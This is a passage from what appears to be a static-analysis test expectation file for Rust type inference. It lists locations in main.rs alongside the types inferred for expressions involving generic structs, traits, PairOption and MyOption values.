main.rs:713:20:713:22 | Tr3 | +| main.rs:721:17:721:30 | ...::m2(...) | | main.rs:680:5:683:5 | MyThing | +| main.rs:721:17:721:30 | ...::m2(...) | A | main.rs:713:20:713:22 | Tr3 | +| main.rs:721:17:721:32 | ... .a | | main.rs:713:20:713:22 | Tr3 | +| main.rs:721:26:721:29 | self | | main.rs:713:5:724:5 | Self [trait MyTrait3] | +| main.rs:728:15:728:18 | SelfParam | | main.rs:680:5:683:5 | MyThing | +| main.rs:728:15:728:18 | SelfParam | A | main.rs:726:10:726:10 | T | +| main.rs:728:26:730:9 | { ... } | | main.rs:726:10:726:10 | T | +| main.rs:729:13:729:16 | self | | main.rs:680:5:683:5 | MyThing | +| main.rs:729:13:729:16 | self | A | main.rs:726:10:726:10 | T | +| main.rs:729:13:729:18 | self.a | | main.rs:726:10:726:10 | T | +| main.rs:737:15:737:18 | SelfParam | | main.rs:685:5:688:5 | MyThing2 | +| main.rs:737:15:737:18 | SelfParam | A | main.rs:735:10:735:10 | T | +| main.rs:737:35:739:9 | { ... } | | main.rs:680:5:683:5 | MyThing | +| main.rs:737:35:739:9 | { ... } | A | main.rs:735:10:735:10 | T | +| main.rs:738:13:738:33 | MyThing {...} | | main.rs:680:5:683:5 | MyThing | +| main.rs:738:13:738:33 | MyThing {...} | A | main.rs:735:10:735:10 | T | +| main.rs:738:26:738:29 | self | | main.rs:685:5:688:5 | MyThing2 | +| main.rs:738:26:738:29 | self | A | main.rs:735:10:735:10 | T | +| main.rs:738:26:738:31 | self.a | | main.rs:735:10:735:10 | T | +| main.rs:747:13:747:13 | x | | main.rs:680:5:683:5 | MyThing | +| main.rs:747:13:747:13 | x | A | main.rs:690:5:691:14 | S1 | +| main.rs:747:17:747:33 | MyThing {...} | | main.rs:680:5:683:5 | MyThing | +| main.rs:747:17:747:33 | MyThing {...} | A | main.rs:690:5:691:14 | S1 | +| main.rs:747:30:747:31 | S1 | | main.rs:690:5:691:14 | S1 | +| main.rs:748:13:748:13 | y | | main.rs:680:5:683:5 | MyThing | +| main.rs:748:13:748:13 | y | A | main.rs:692:5:693:14 | S2 | +| main.rs:748:17:748:33 | MyThing {...} | | main.rs:680:5:683:5 | MyThing | +| main.rs:748:17:748:33 | MyThing {...} | A | main.rs:692:5:693:14 | S2 | +| main.rs:748:30:748:31 | S2 | | main.rs:692:5:693:14 | S2 | +| main.rs:750:26:750:26 | x | | main.rs:680:5:683:5 | MyThing | +| main.rs:750:26:750:26 | x | A | main.rs:690:5:691:14 | S1 | +| main.rs:750:26:750:31 | x.m1() | | main.rs:690:5:691:14 | S1 | +| main.rs:751:26:751:26 | y | | main.rs:680:5:683:5 | MyThing | +| main.rs:751:26:751:26 | y | A | main.rs:692:5:693:14 | S2 | +| main.rs:751:26:751:31 | y.m1() | | main.rs:692:5:693:14 | S2 | +| main.rs:753:13:753:13 | x | | main.rs:680:5:683:5 | MyThing | +| main.rs:753:13:753:13 | x | A | main.rs:690:5:691:14 | S1 | +| main.rs:753:17:753:33 | MyThing {...} | | main.rs:680:5:683:5 | MyThing | +| main.rs:753:17:753:33 | MyThing {...} | A | main.rs:690:5:691:14 | S1 | +| main.rs:753:30:753:31 | S1 | | main.rs:690:5:691:14 | S1 | +| main.rs:754:13:754:13 | y | | main.rs:680:5:683:5 | MyThing | +| main.rs:754:13:754:13 | y | A | main.rs:692:5:693:14 | S2 | +| main.rs:754:17:754:33 | MyThing {...} | | main.rs:680:5:683:5 | MyThing | +| main.rs:754:17:754:33 | MyThing {...} | A | main.rs:692:5:693:14 | S2 | +| main.rs:754:30:754:31 | S2 | | main.rs:692:5:693:14 | S2 | +| main.rs:756:26:756:26 | x | | main.rs:680:5:683:5 | MyThing | +| main.rs:756:26:756:26 | x | A | main.rs:690:5:691:14 | S1 | +| main.rs:756:26:756:31 | x.m2() | | main.rs:690:5:691:14 | S1 | +| main.rs:757:26:757:26 | y | | main.rs:680:5:683:5 | MyThing | +| main.rs:757:26:757:26 | y | A | main.rs:692:5:693:14 | S2 | +| main.rs:757:26:757:31 | y.m2() | | main.rs:692:5:693:14 | S2 | +| main.rs:759:13:759:13 | x | | main.rs:685:5:688:5 | MyThing2 | +| main.rs:759:13:759:13 | x | A | main.rs:690:5:691:14 | S1 | +| main.rs:759:17:759:34 | MyThing2 {...} | | main.rs:685:5:688:5 | MyThing2 | +| main.rs:759:17:759:34 | MyThing2 {...} | A | main.rs:690:5:691:14 | S1 | +| main.rs:759:31:759:32 | S1 | | main.rs:690:5:691:14 | S1 | +| main.rs:760:13:760:13 | y | | main.rs:685:5:688:5 | MyThing2 | +| main.rs:760:13:760:13 | y | A | main.rs:692:5:693:14 | S2 | +| main.rs:760:17:760:34 | MyThing2 {...} | | main.rs:685:5:688:5 | MyThing2 | +| main.rs:760:17:760:34 | MyThing2 {...} | A | main.rs:692:5:693:14 | S2 | +| main.rs:760:31:760:32 | S2 | | main.rs:692:5:693:14 | S2 | +| main.rs:762:26:762:26 | x | | main.rs:685:5:688:5 | MyThing2 | +| main.rs:762:26:762:26 | x | A | main.rs:690:5:691:14 | S1 | +| main.rs:762:26:762:31 | x.m3() | | main.rs:690:5:691:14 | S1 | +| main.rs:763:26:763:26 | y | | main.rs:685:5:688:5 | MyThing2 | +| main.rs:763:26:763:26 | y | A | main.rs:692:5:693:14 | S2 | +| main.rs:763:26:763:31 | y.m3() | | main.rs:692:5:693:14 | S2 | +| main.rs:781:22:781:22 | x | | file://:0:0:0:0 | & | +| main.rs:781:22:781:22 | x | &T | main.rs:781:11:781:19 | T | +| main.rs:781:35:783:5 | { ... } | | file://:0:0:0:0 | & | +| main.rs:781:35:783:5 | { ... } | &T | main.rs:781:11:781:19 | T | +| main.rs:782:9:782:9 | x | | file://:0:0:0:0 | & | +| main.rs:782:9:782:9 | x | &T | main.rs:781:11:781:19 | T | +| main.rs:786:17:786:20 | SelfParam | | main.rs:771:5:772:14 | S1 | +| main.rs:786:29:788:9 | { ... } | | main.rs:774:5:775:14 | S2 | +| main.rs:787:13:787:14 | S2 | | main.rs:774:5:775:14 | S2 | +| main.rs:791:21:791:21 | x | | main.rs:791:13:791:14 | T1 | +| main.rs:794:5:796:5 | { ... } | | main.rs:791:17:791:18 | T2 | +| main.rs:795:9:795:9 | x | | main.rs:791:13:791:14 | T1 | +| main.rs:795:9:795:16 | x.into() | | main.rs:791:17:791:18 | T2 | +| main.rs:799:13:799:13 | x | | main.rs:771:5:772:14 | S1 | +| main.rs:799:17:799:18 | S1 | | main.rs:771:5:772:14 | S1 | +| main.rs:800:26:800:31 | id(...) | | file://:0:0:0:0 | & | +| main.rs:800:26:800:31 | id(...) | &T | main.rs:771:5:772:14 | S1 | +| main.rs:800:29:800:30 | &x | | file://:0:0:0:0 | & | +| main.rs:800:29:800:30 | &x | &T | main.rs:771:5:772:14 | S1 | +| main.rs:800:30:800:30 | x | | main.rs:771:5:772:14 | S1 | +| main.rs:802:13:802:13 | x | | main.rs:771:5:772:14 | S1 | +| main.rs:802:17:802:18 | S1 | | main.rs:771:5:772:14 | S1 | +| main.rs:803:26:803:37 | id::<...>(...) | | file://:0:0:0:0 | & | +| main.rs:803:26:803:37 | id::<...>(...) | &T | main.rs:771:5:772:14 | S1 | +| main.rs:803:35:803:36 | &x | | file://:0:0:0:0 | & | +| main.rs:803:35:803:36 | &x | &T | main.rs:771:5:772:14 | S1 | +| main.rs:803:36:803:36 | x | | main.rs:771:5:772:14 | S1 | +| main.rs:805:13:805:13 | x | | main.rs:771:5:772:14 | S1 | +| main.rs:805:17:805:18 | S1 | | main.rs:771:5:772:14 | S1 | +| main.rs:806:26:806:44 | id::<...>(...) | | file://:0:0:0:0 | & | +| main.rs:806:26:806:44 | id::<...>(...) | &T | main.rs:771:5:772:14 | S1 | +| main.rs:806:42:806:43 | &x | | file://:0:0:0:0 | & | +| main.rs:806:42:806:43 | &x | &T | main.rs:771:5:772:14 | S1 | +| main.rs:806:43:806:43 | x | | main.rs:771:5:772:14 | S1 | +| main.rs:808:13:808:13 | x | | main.rs:771:5:772:14 | S1 | +| main.rs:808:17:808:18 | S1 | | main.rs:771:5:772:14 | S1 | +| main.rs:809:9:809:25 | into::<...>(...) | | main.rs:774:5:775:14 | S2 | +| main.rs:809:24:809:24 | x | | main.rs:771:5:772:14 | S1 | +| main.rs:811:13:811:13 | x | | main.rs:771:5:772:14 | S1 | +| main.rs:811:17:811:18 | S1 | | main.rs:771:5:772:14 | S1 | +| main.rs:812:13:812:13 | y | | main.rs:774:5:775:14 | S2 | +| main.rs:812:21:812:27 | into(...) | | main.rs:774:5:775:14 | S2 | +| main.rs:812:26:812:26 | x | | main.rs:771:5:772:14 | S1 | +| main.rs:826:22:826:25 | SelfParam | | main.rs:817:5:823:5 | PairOption | +| main.rs:826:22:826:25 | SelfParam | Fst | main.rs:825:10:825:12 | Fst | +| main.rs:826:22:826:25 | SelfParam | Snd | main.rs:825:15:825:17 | Snd | +| main.rs:826:35:833:9 | { ... } | | main.rs:825:15:825:17 | Snd | +| main.rs:827:13:832:13 | match self { ... } | | main.rs:825:15:825:17 | Snd | +| main.rs:827:19:827:22 | self | | main.rs:817:5:823:5 | PairOption | +| main.rs:827:19:827:22 | self | Fst | main.rs:825:10:825:12 | Fst | +| main.rs:827:19:827:22 | self | Snd | main.rs:825:15:825:17 | Snd | +| main.rs:828:43:828:82 | MacroExpr | | main.rs:825:15:825:17 | Snd | +| main.rs:829:43:829:81 | MacroExpr | | main.rs:825:15:825:17 | Snd | +| main.rs:830:37:830:39 | snd | | main.rs:825:15:825:17 | Snd | +| main.rs:830:45:830:47 | snd | | main.rs:825:15:825:17 | Snd | +| main.rs:831:41:831:43 | snd | | main.rs:825:15:825:17 | Snd | +| main.rs:831:49:831:51 | snd | | main.rs:825:15:825:17 | Snd | +| main.rs:857:10:857:10 | t | | main.rs:817:5:823:5 | PairOption | +| main.rs:857:10:857:10 | t | Fst | main.rs:839:5:840:14 | S2 | +| main.rs:857:10:857:10 | t | Snd | main.rs:817:5:823:5 | PairOption | +| main.rs:857:10:857:10 | t | Snd.Fst | main.rs:839:5:840:14 | S2 | +| main.rs:857:10:857:10 | t | Snd.Snd | main.rs:842:5:843:14 | S3 | +| main.rs:858:13:858:13 | x | | main.rs:842:5:843:14 | S3 | +| main.rs:858:17:858:17 | t | | main.rs:817:5:823:5 | PairOption | +| main.rs:858:17:858:17 | t | Fst | main.rs:839:5:840:14 | S2 | +| main.rs:858:17:858:17 | t | Snd | main.rs:817:5:823:5 | PairOption | +| main.rs:858:17:858:17 | t | Snd.Fst | main.rs:839:5:840:14 | S2 | +| main.rs:858:17:858:17 | t | Snd.Snd | main.rs:842:5:843:14 | S3 | +| main.rs:858:17:858:29 | t.unwrapSnd() | | main.rs:817:5:823:5 | PairOption | +| main.rs:858:17:858:29 | t.unwrapSnd() | Fst | main.rs:839:5:840:14 | S2 | +| main.rs:858:17:858:29 | t.unwrapSnd() | Snd | main.rs:842:5:843:14 | S3 | +| main.rs:858:17:858:41 | ... .unwrapSnd() | | main.rs:842:5:843:14 | S3 | +| main.rs:859:26:859:26 | x | | main.rs:842:5:843:14 | S3 | +| main.rs:864:13:864:14 | p1 | | main.rs:817:5:823:5 | PairOption | +| main.rs:864:13:864:14 | p1 | Fst | main.rs:836:5:837:14 | S1 | +| main.rs:864:13:864:14 | p1 | Snd | main.rs:839:5:840:14 | S2 | +| main.rs:864:26:864:53 | ...::PairBoth(...) | | main.rs:817:5:823:5 | PairOption | +| main.rs:864:26:864:53 | ...::PairBoth(...) | Fst | main.rs:836:5:837:14 | S1 | +| main.rs:864:26:864:53 | ...::PairBoth(...) | Snd | main.rs:839:5:840:14 | S2 | +| main.rs:864:47:864:48 | S1 | | main.rs:836:5:837:14 | S1 | +| main.rs:864:51:864:52 | S2 | | main.rs:839:5:840:14 | S2 | +| main.rs:865:26:865:27 | p1 | | main.rs:817:5:823:5 | PairOption | +| main.rs:865:26:865:27 | p1 | Fst | main.rs:836:5:837:14 | S1 | +| main.rs:865:26:865:27 | p1 | Snd | main.rs:839:5:840:14 | S2 | +| main.rs:868:13:868:14 | p2 | | main.rs:817:5:823:5 | PairOption | +| main.rs:868:13:868:14 | p2 | Fst | main.rs:836:5:837:14 | S1 | +| main.rs:868:13:868:14 | p2 | Snd | main.rs:839:5:840:14 | S2 | +| main.rs:868:26:868:47 | ...::PairNone(...) | | main.rs:817:5:823:5 | PairOption | +| main.rs:868:26:868:47 | ...::PairNone(...) | Fst | main.rs:836:5:837:14 | S1 | +| main.rs:868:26:868:47 | ...::PairNone(...) | Snd | main.rs:839:5:840:14 | S2 | +| main.rs:869:26:869:27 | p2 | | main.rs:817:5:823:5 | PairOption | +| main.rs:869:26:869:27 | p2 | Fst | main.rs:836:5:837:14 | S1 | +| main.rs:869:26:869:27 | p2 | Snd | main.rs:839:5:840:14 | S2 | +| main.rs:872:13:872:14 | p3 | | main.rs:817:5:823:5 | PairOption | +| main.rs:872:13:872:14 | p3 | Fst | main.rs:839:5:840:14 | S2 | +| main.rs:872:13:872:14 | p3 | Snd | main.rs:842:5:843:14 | S3 | +| main.rs:872:34:872:56 | ...::PairSnd(...) | | main.rs:817:5:823:5 | PairOption | +| main.rs:872:34:872:56 | ...::PairSnd(...) | Fst | main.rs:839:5:840:14 | S2 | +| main.rs:872:34:872:56 | ...::PairSnd(...) | Snd | main.rs:842:5:843:14 | S3 | +| main.rs:872:54:872:55 | S3 | | main.rs:842:5:843:14 | S3 | +| main.rs:873:26:873:27 | p3 | | main.rs:817:5:823:5 | PairOption | +| main.rs:873:26:873:27 | p3 | Fst | main.rs:839:5:840:14 | S2 | +| main.rs:873:26:873:27 | p3 | Snd | main.rs:842:5:843:14 | S3 | +| main.rs:876:13:876:14 | p3 | | main.rs:817:5:823:5 | PairOption | +| main.rs:876:13:876:14 | p3 | Fst | main.rs:839:5:840:14 | S2 | +| main.rs:876:13:876:14 | p3 | Snd | main.rs:842:5:843:14 | S3 | +| main.rs:876:35:876:56 | ...::PairNone(...) | | main.rs:817:5:823:5 | PairOption | +| main.rs:876:35:876:56 | ...::PairNone(...) | Fst | main.rs:839:5:840:14 | S2 | +| main.rs:876:35:876:56 | ...::PairNone(...) | Snd | main.rs:842:5:843:14 | S3 | +| main.rs:877:26:877:27 | p3 | | main.rs:817:5:823:5 | PairOption | +| main.rs:877:26:877:27 | p3 | Fst | main.rs:839:5:840:14 | S2 | +| main.rs:877:26:877:27 | p3 | Snd | main.rs:842:5:843:14 | S3 | +| main.rs:879:11:879:54 | ...::PairSnd(...) | | main.rs:817:5:823:5 | PairOption | +| main.rs:879:11:879:54 | ...::PairSnd(...) | Fst | main.rs:839:5:840:14 | S2 | +| main.rs:879:11:879:54 | ...::PairSnd(...) | Snd | main.rs:817:5:823:5 | PairOption | +| main.rs:879:11:879:54 | ...::PairSnd(...) | Snd.Fst | main.rs:839:5:840:14 | S2 | +| main.rs:879:11:879:54 | ...::PairSnd(...) | Snd.Snd | main.rs:842:5:843:14 | S3 | +| main.rs:879:31:879:53 | ...::PairSnd(...) | | main.rs:817:5:823:5 | PairOption | +| main.rs:879:31:879:53 | ...::PairSnd(...) | Fst | main.rs:839:5:840:14 | S2 | +| main.rs:879:31:879:53 | ...::PairSnd(...) | Snd | main.rs:842:5:843:14 | S3 | +| main.rs:879:51:879:52 | S3 | | main.rs:842:5:843:14 | S3 | +| main.rs:892:16:892:24 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:892:16:892:24 | SelfParam | &T | main.rs:890:5:897:5 | Self [trait MyTrait] | +| main.rs:892:27:892:31 | value | | main.rs:890:19:890:19 | S | +| main.rs:894:21:894:29 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:894:21:894:29 | SelfParam | &T | main.rs:890:5:897:5 | Self [trait MyTrait] | +| main.rs:894:32:894:36 | value | | main.rs:890:19:890:19 | S | +| main.rs:895:13:895:16 | self | | file://:0:0:0:0 | & | +| main.rs:895:13:895:16 | self | &T | main.rs:890:5:897:5 | Self [trait MyTrait] | +| main.rs:895:22:895:26 | value | | main.rs:890:19:890:19 | S | +| main.rs:901:16:901:24 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:901:16:901:24 | SelfParam | &T | main.rs:884:5:888:5 | MyOption | +| main.rs:901:16:901:24 | SelfParam | &T.T | main.rs:899:10:899:10 | T | +| main.rs:901:27:901:31 | value | | main.rs:899:10:899:10 | T | +| main.rs:905:26:907:9 | { ... } | | main.rs:884:5:888:5 | MyOption | +| main.rs:905:26:907:9 | { ... } | T | main.rs:904:10:904:10 | T | +| main.rs:906:13:906:30 | ...::MyNone(...) | | main.rs:884:5:888:5 | MyOption | +| main.rs:906:13:906:30 | ...::MyNone(...) | T | main.rs:904:10:904:10 | T | +| main.rs:911:20:911:23 | SelfParam | | main.rs:884:5:888:5 | MyOption | +| main.rs:911:20:911:23 | SelfParam | T | main.rs:884:5:888:5 | MyOption | +| main.rs:911:20:911:23 | SelfParam | T.T | main.rs:910:10:910:10 | T | +| main.rs:911:41:916:9 | { ... } | | main.rs:884:5:888:5 | MyOption | +| main.rs:911:41:916:9 | { ... } | T | main.rs:910:10:910:10 | T | +| main.rs:912:13:915:13 | match self { ... } | | main.rs:884:5:888:5 | MyOption | +| main.rs:912:13:915:13 | match self { ... } | T | main.rs:910:10:910:10 | T | +| main.rs:912:19:912:22 | self | | main.rs:884:5:888:5 | MyOption | +| main.rs:912:19:912:22 | self | T | main.rs:884:5:888:5 | MyOption | +| main.rs:912:19:912:22 | self | T.T | main.rs:910:10:910:10 | T | +| main.rs:913:39:913:56 | ...::MyNone(...) | | main.rs:884:5:888:5 | MyOption | +| main.rs:913:39:913:56 | ...::MyNone(...) | T | main.rs:910:10:910:10 | T | +| main.rs:914:34:914:34 | x | | main.rs:884:5:888:5 | MyOption | +| main.rs:914:34:914:34 | x | T | main.rs:910:10:910:10 | T | +| main.rs:914:40:914:40 | x | | main.rs:884:5:888:5 | MyOption | +| main.rs:914:40:914:40 | x | T | main.rs:910:10:910:10 | T | +| main.rs:923:13:923:14 | x1 | | main.rs:884:5:888:5 | MyOption | +| main.rs:923:18:923:37 | ...::new(...) | | main.rs:884:5:888:5 | MyOption | +| main.rs:924:26:924:27 | x1 | | main.rs:884:5:888:5 | MyOption | +| main.rs:926:13:926:18 | mut x2 | | main.rs:884:5:888:5 | MyOption | +| main.rs:926:13:926:18 | mut x2 | T | main.rs:919:5:920:13 | S | +| main.rs:926:22:926:36 | ...::new(...) | | main.rs:884:5:888:5 | MyOption | +| main.rs:926:22:926:36 | ...::new(...) | T | main.rs:919:5:920:13 | S | +| main.rs:927:9:927:10 | x2 | | main.rs:884:5:888:5 | MyOption | +| main.rs:927:9:927:10 | x2 | T | main.rs:919:5:920:13 | S | +| main.rs:927:16:927:16 | S | | main.rs:919:5:920:13 | S | +| main.rs:928:26:928:27 | x2 | | main.rs:884:5:888:5 | MyOption | +| main.rs:928:26:928:27 | x2 | T | main.rs:919:5:920:13 | S | +| main.rs:930:13:930:18 | mut x3 | | main.rs:884:5:888:5 | MyOption | +| main.rs:930:22:930:36 | ...::new(...) | | main.rs:884:5:888:5 | MyOption | +| main.rs:931:9:931:10 | x3 | | main.rs:884:5:888:5 | MyOption | +| main.rs:931:21:931:21 | S | | main.rs:919:5:920:13 | S | +| main.rs:932:26:932:27 | x3 | | main.rs:884:5:888:5 | MyOption | +| main.rs:934:13:934:18 | mut x4 | | main.rs:884:5:888:5 | MyOption | +| main.rs:934:13:934:18 | mut x4 | T | main.rs:919:5:920:13 | S | +| main.rs:934:22:934:36 | ...::new(...) | | main.rs:884:5:888:5 | MyOption | +| main.rs:934:22:934:36 | ...::new(...) | T | main.rs:919:5:920:13 | S | +| main.rs:935:23:935:29 | &mut x4 | | file://:0:0:0:0 | & | +| main.rs:935:23:935:29 | &mut x4 | &T | main.rs:884:5:888:5 | MyOption | +| main.rs:935:23:935:29 | &mut x4 | &T.T | main.rs:919:5:920:13 | S | +| main.rs:935:28:935:29 | x4 | | main.rs:884:5:888:5 | MyOption | +| main.rs:935:28:935:29 | x4 | T | main.rs:919:5:920:13 | S | +| main.rs:935:32:935:32 | S | | main.rs:919:5:920:13 | S | +| main.rs:936:26:936:27 | x4 | | main.rs:884:5:888:5 | MyOption | +| main.rs:936:26:936:27 | x4 | T | main.rs:919:5:920:13 | S | +| main.rs:938:13:938:14 | x5 | | main.rs:884:5:888:5 | MyOption | +| main.rs:938:13:938:14 | x5 | T | main.rs:884:5:888:5 | MyOption | +| main.rs:938:13:938:14 | x5 | T.T | main.rs:919:5:920:13 | S | +| main.rs:938:18:938:58 | ...::MySome(...) | | main.rs:884:5:888:5 | MyOption | +| main.rs:938:18:938:58 | ...::MySome(...) | T | main.rs:884:5:888:5 | MyOption | +| main.rs:938:18:938:58 | ...::MySome(...) | T.T | main.rs:919:5:920:13 | S | +| main.rs:938:35:938:57 | ...::MyNone(...) | | main.rs:884:5:888:5 | MyOption | +| main.rs:938:35:938:57 | ...::MyNone(...) | T | main.rs:919:5:920:13 | S | +| main.rs:939:26:939:27 | x5 | | main.rs:884:5:888:5 | MyOption | +| main.rs:939:26:939:27 | x5 | T | main.rs:884:5:888:5 | MyOption | +| main.rs:939:26:939:27 | x5 | T.T | main.rs:919:5:920:13 | S | +| main.rs:939:26:939:37 | x5.flatten() | | main.rs:884:5:888:5 | MyOption | +| main.rs:939:26:939:37 | x5.flatten() | T | main.rs:919:5:920:13 | S | +| main.rs:941:13:941:14 | x6 | | main.rs:884:5:888:5 | MyOption | +| main.rs:941:13:941:14 | x6 | T | main.rs:884:5:888:5 | MyOption | +| main.rs:941:13:941:14 | x6 | T.T | main.rs:919:5:920:13 | S | +| main.rs:941:18:941:58 | ...::MySome(...) | | main.rs:884:5:888:5 | MyOption | +| main.rs:941:18:941:58 | ...::MySome(...) | T | main.rs:884:5:888:5 | MyOption | +| main.rs:941:18:941:58 | ...::MySome(...) | T.T | main.rs:919:5:920:13 | S | +| main.rs:941:35:941:57 | ...::MyNone(...) | | main.rs:884:5:888:5 | MyOption | +| main.rs:941:35:941:57 | ...::MyNone(...) | T | main.rs:919:5:920:13 | S | +| main.rs:942:26:942:61 | ...::flatten(...) | | main.rs:884:5:888:5 | MyOption | +| main.rs:942:26:942:61 | ...::flatten(...) | T | main.rs:919:5:920:13 | S | +| main.rs:942:59:942:60 | x6 | | main.rs:884:5:888:5 | MyOption | +| main.rs:942:59:942:60 | x6 | T | main.rs:884:5:888:5 | MyOption | +| main.rs:942:59:942:60 | x6 | T.T | main.rs:919:5:920:13 | S | +| main.rs:944:13:944:19 | from_if | | main.rs:884:5:888:5 | MyOption | +| main.rs:944:13:944:19 | from_if | T | main.rs:919:5:920:13 | S | +| main.rs:944:23:948:9 | if ... {...} else {...} | | main.rs:884:5:888:5 | MyOption | +| main.rs:944:23:948:9 | if ... {...} else {...} | T | main.rs:919:5:920:13 | S | +| main.rs:944:36:946:9 | { ... } | | main.rs:884:5:888:5 | MyOption | +| main.rs:944:36:946:9 | { ... } | T | main.rs:919:5:920:13 | S | +| main.rs:945:13:945:30 | ...::MyNone(...) | | main.rs:884:5:888:5 | MyOption | +| main.rs:945:13:945:30 | ...::MyNone(...) | T | main.rs:919:5:920:13 | S | +| main.rs:946:16:948:9 | { ... } | | main.rs:884:5:888:5 | MyOption | +| main.rs:946:16:948:9 | { ... } | T | main.rs:919:5:920:13 | S | +| main.rs:947:13:947:31 | ...::MySome(...) | | main.rs:884:5:888:5 | MyOption | +| main.rs:947:13:947:31 | ...::MySome(...) | T | main.rs:919:5:920:13 | S | +| main.rs:947:30:947:30 | S | | main.rs:919:5:920:13 | S | +| main.rs:949:26:949:32 | from_if | | main.rs:884:5:888:5 | MyOption | +| main.rs:949:26:949:32 | from_if | T | main.rs:919:5:920:13 | S | +| main.rs:951:13:951:22 | from_match | | main.rs:884:5:888:5 | MyOption | +| main.rs:951:13:951:22 | from_match | T | main.rs:919:5:920:13 | S | +| main.rs:951:26:954:9 | match ... { ... } | | main.rs:884:5:888:5 | MyOption | +| main.rs:951:26:954:9 | match ... { ... } | T | main.rs:919:5:920:13 | S | +| main.rs:952:21:952:38 | ...::MyNone(...) | | main.rs:884:5:888:5 | MyOption | +| main.rs:952:21:952:38 | ...::MyNone(...) | T | main.rs:919:5:920:13 | S | +| main.rs:953:22:953:40 | ...::MySome(...) | | main.rs:884:5:888:5 | MyOption | +| main.rs:953:22:953:40 | ...::MySome(...) | T | main.rs:919:5:920:13 | S | +| main.rs:953:39:953:39 | S | | main.rs:919:5:920:13 | S | +| main.rs:955:26:955:35 | from_match | | main.rs:884:5:888:5 | MyOption | +| main.rs:955:26:955:35 | from_match | T | main.rs:919:5:920:13 | S | +| main.rs:957:13:957:21 | from_loop | | main.rs:884:5:888:5 | MyOption | +| main.rs:957:13:957:21 | from_loop | T | main.rs:919:5:920:13 | S | +| main.rs:957:25:962:9 | loop { ... } | | main.rs:884:5:888:5 | MyOption | +| main.rs:957:25:962:9 | loop { ... } | T | main.rs:919:5:920:13 | S | +| main.rs:959:23:959:40 | ...::MyNone(...) | | main.rs:884:5:888:5 | MyOption | +| main.rs:959:23:959:40 | ...::MyNone(...) | T | main.rs:919:5:920:13 | S | +| main.rs:961:19:961:37 | ...::MySome(...) | | main.rs:884:5:888:5 | MyOption | +| main.rs:961:19:961:37 | ...::MySome(...) | T | main.rs:919:5:920:13 | S | +| main.rs:961:36:961:36 | S | | main.rs:919:5:920:13 | S | +| main.rs:963:26:963:34 | from_loop | | main.rs:884:5:888:5 | MyOption | +| main.rs:963:26:963:34 | from_loop | T | main.rs:919:5:920:13 | S | +| main.rs:976:15:976:18 | SelfParam | | main.rs:969:5:970:19 | S | +| main.rs:976:15:976:18 | SelfParam | T | main.rs:975:10:975:10 | T | +| main.rs:976:26:978:9 | { ... } | | main.rs:975:10:975:10 | T | +| main.rs:977:13:977:16 | self | | main.rs:969:5:970:19 | S | +| main.rs:977:13:977:16 | self | T | main.rs:975:10:975:10 | T | +| main.rs:977:13:977:18 | self.0 | | main.rs:975:10:975:10 | T | +| main.rs:980:15:980:19 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:980:15:980:19 | SelfParam | &T | main.rs:969:5:970:19 | S | +| main.rs:980:15:980:19 | SelfParam | &T.T | main.rs:975:10:975:10 | T | +| main.rs:980:28:982:9 | { ... } | | file://:0:0:0:0 | & | +| main.rs:980:28:982:9 | { ... } | &T | main.rs:975:10:975:10 | T | +| main.rs:981:13:981:19 | &... | | file://:0:0:0:0 | & | +| main.rs:981:13:981:19 | &... | &T | main.rs:975:10:975:10 | T | +| main.rs:981:14:981:17 | self | | file://:0:0:0:0 | & | +| main.rs:981:14:981:17 | self | &T | main.rs:969:5:970:19 | S | +| main.rs:981:14:981:17 | self | &T.T | main.rs:975:10:975:10 | T | +| main.rs:981:14:981:19 | self.0 | | main.rs:975:10:975:10 | T | +| main.rs:984:15:984:25 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:984:15:984:25 | SelfParam | &T | main.rs:969:5:970:19 | S | +| main.rs:984:15:984:25 | SelfParam | &T.T | main.rs:975:10:975:10 | T | +| main.rs:984:34:986:9 | { ... } | | file://:0:0:0:0 | & | +| main.rs:984:34:986:9 | { ... } | &T | main.rs:975:10:975:10 | T | +| main.rs:985:13:985:19 | &... | | file://:0:0:0:0 | & | +| main.rs:985:13:985:19 | &... | &T | main.rs:975:10:975:10 | T | +| main.rs:985:14:985:17 | self | | file://:0:0:0:0 | & | +| main.rs:985:14:985:17 | self | &T | main.rs:969:5:970:19 | S | +| main.rs:985:14:985:17 | self | &T.T | main.rs:975:10:975:10 | T | +| main.rs:985:14:985:19 | self.0 | | main.rs:975:10:975:10 | T | +| main.rs:990:13:990:14 | x1 | | main.rs:969:5:970:19 | S | +| main.rs:990:13:990:14 | x1 | T | main.rs:972:5:973:14 | S2 | +| main.rs:990:18:990:22 | S(...) | | main.rs:969:5:970:19 | S | +| main.rs:990:18:990:22 | S(...) | T | main.rs:972:5:973:14 | S2 | +| main.rs:990:20:990:21 | S2 | | main.rs:972:5:973:14 | S2 | +| main.rs:991:26:991:27 | x1 | | main.rs:969:5:970:19 | S | +| main.rs:991:26:991:27 | x1 | T | main.rs:972:5:973:14 | S2 | +| main.rs:991:26:991:32 | x1.m1() | | main.rs:972:5:973:14 | S2 | +| main.rs:993:13:993:14 | x2 | | main.rs:969:5:970:19 | S | +| main.rs:993:13:993:14 | x2 | T | main.rs:972:5:973:14 | S2 | +| main.rs:993:18:993:22 | S(...) | | main.rs:969:5:970:19 | S | +| main.rs:993:18:993:22 | S(...) | T | main.rs:972:5:973:14 | S2 | +| main.rs:993:20:993:21 | S2 | | main.rs:972:5:973:14 | S2 | +| main.rs:995:26:995:27 | x2 | | main.rs:969:5:970:19 | S | +| main.rs:995:26:995:27 | x2 | T | main.rs:972:5:973:14 | S2 | +| main.rs:995:26:995:32 | x2.m2() | | file://:0:0:0:0 | & | +| main.rs:995:26:995:32 | x2.m2() | &T | main.rs:972:5:973:14 | S2 | +| main.rs:996:26:996:27 | x2 | | main.rs:969:5:970:19 | S | +| main.rs:996:26:996:27 | x2 | T | main.rs:972:5:973:14 | S2 | +| main.rs:996:26:996:32 | x2.m3() | | file://:0:0:0:0 | & | +| main.rs:996:26:996:32 | x2.m3() | &T | main.rs:972:5:973:14 | S2 | +| main.rs:998:13:998:14 | x3 | | main.rs:969:5:970:19 | S | +| main.rs:998:13:998:14 | x3 | T | main.rs:972:5:973:14 | S2 | +| main.rs:998:18:998:22 | S(...) | | main.rs:969:5:970:19 | S | +| main.rs:998:18:998:22 | S(...) | T | main.rs:972:5:973:14 | S2 | +| main.rs:998:20:998:21 | 